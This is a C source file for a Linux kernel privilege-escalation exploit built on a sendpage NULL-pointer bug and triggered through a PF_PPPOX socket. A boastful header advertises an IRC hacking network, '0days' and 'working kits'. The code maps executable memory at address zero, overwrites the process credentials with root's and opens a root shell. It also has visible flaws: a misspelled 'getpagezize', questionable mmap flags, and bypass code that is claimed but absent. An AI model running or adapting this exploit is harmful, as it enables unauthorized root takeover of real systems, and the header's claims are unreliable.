udp_sendpage.c / byxd of HaqNET

/* UDP PF_PPOX sendpage() , NOT sendmsg... this is round-2 and working on 2011 boxes.
* There IS a grsec_bypass code around.. look hard and you shall see..
* This rewrite was done by xd / haqnet irc - #Haqnet, FUCK EFNET! Join haqnet and watch vnc/SSHD and much much more in action! AND 0days you could only dream of...
* Thanks to many people for help, even those who didnt help, for inspiring me to look harder for this exploit, specially in the_rebel exploit... and, found now a working, new 2011 selinux_bypass code (ref is on this pastebin, just search for selinux_bypass and itll show)
* xd / irc.haqnet.net -ssl 6697 / ipv6.haqnet.net -ssl 6697 , Join us there and, you might even LIKE IT!

* ORIGINAL vuln found by multiple people, but the bug was never recoded and, have the addins it does now..wich are some defines wich are VERY cool...vulnerability was discovered by google security team
in 2009 ,just now, it has no SVR_PERSONALITY code,and it compiles fine if you have it setup right.. if it does not compile for you, try
some cmdline gcc like -fPOC etc... i wont help ya there but... i can safely say, 2 things, someone get me a damn php_loader! I would help dev it, or ill endup making one! BUT, i lost mine, no, seriously i did, and, am spewing because it was extremely simple,and was awesome code by awesome people at tr0ll.in :) greets to your ircd :)
Again, xd says: JOIN US at the REAL, new, haqnet..wich has NEW,cpecial bots :), services/iipv6 and,ability to run XDCC,even i will supply working kits, for linux or win32! Hey, who would do this for Xdcc ? no one.. so join us!
xd - 2011
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

static unsigned int uid, gid;

#define PAGE_SIZE getpagezize()
/* had to add this codes in for RHEL and some other x86 boxes,but more importantly,because removed the SVR_PERSONALITY,this now replaces that, but simpler -xd */
#define PF_PPPOX AF_PPPOX // had to add this for OLDER kernels compile
#define AF_PPPOX 24

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)

void exit_code();
char exit_stack[1024*1024];

static inline __attribute__((always_inline)) void *get_current() {
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}

static inline __attribute__((always_inline)) void exit_kernel() {
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
    "i" (USER_CS), "r" (exit_code)
        );
}

void kernel_code() {
    int i;
    uint *p = get_current();
    for (i = 0; i < 1024-13; i++) {
    if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
    p[0] = p[1] = p[2] = p[3] = 0;
    p[4] = p[5] = p[6] = p[7] = 0;
    p = (uint *) ((char *)(p + 8) + sizeof(void *));
    p[0] = p[1] = p[2] = ~0;
    break;
    }
    p++;
    }
    exit_kernel();
}

void exit_code() {
    if (getuid() != 0) {
    fprintf(stderr, "[-] Failed to root.\n");
    exit(-1);
    }
    fprintf(stderr, "[!] Got root.\n");
    execl("/bin/sh", "/bin/sh", "-i", NULL);
}

int main(void) {
    char template[] = "/tmp/tmporary.XXXXXX";
    int fdin, fdout;
    void *page;
    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);
    if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { // maybe need to READD PROT_EXEC here (xd)... or addin selinux bypas code..
    perror("mmap failure");
    return -1;
    } else {
    if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
    perror("mprotect failure");
    return -1;
    }
    }
    *(char *)0 = '\x90';
    *(char *)1 = '\xe9';
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
    if ((fdin = mkstemp(template)) < 0) {
    perror("mkstemp");
    return -1;
    }
    if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
    perror("socket");
    return -1;
    }
    unlink(template);
    ftruncate(fdin, PAGE_SIZE);
    sendfile(fdout, fdin, NULL, PAGE_SIZE);
}